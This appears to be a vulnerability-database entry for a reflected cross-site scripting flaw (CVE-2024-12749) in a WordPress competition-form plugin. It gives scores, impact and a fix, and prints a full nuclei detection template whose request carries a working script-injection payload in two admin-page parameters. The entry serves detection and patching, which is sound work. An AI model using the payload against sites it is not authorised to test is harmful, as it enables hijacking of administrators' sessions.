WordPress Competition Form Plugin <= 2.0 - Cross-Site Scripting

highseverity

7.1CVSS score

0.6%likelihood of exploitation, next 30 days

50%of all CVEs are less likely

Readycheck to confirm it

Competition Form WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a maliciously crafted page.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=entries&competition_id={$competition_id}"></script><script>alert(document.domain)</script><script>&paged={$paged}"></script><scrip…
Positive when: contains_all(body, "></script><script>alert(document.domain)</script><script>", "Select Competition") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-12749 -u <target>

The full check

id: CVE-2024-12749

info:
  name: WordPress Competition Form Plugin <= 2.0 - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Competition Form WordPress plugin <= 2.0 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to visit a maliciously crafted page.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-12749
    cwe-id: CWE-79
    epss-score: 0.00607
    epss-percentile: 0.49384
    cpe: cpe:2.3:a:raiserweb:competition_form:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: raiserweb
    product: competition_form
  tags: cve,cve2024,competition-form,wordpress,wp,wp-plugin,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=entries&competition_id={$competition_id}"></script><script>alert(document.domain)</script><script>&paged={$paged}"></script><script>alert(document.domain)</script><script>&action=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, "></script><script>alert(document.domain)</script><script>", "Select Competition")
          - contains(content_type, "text/html")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from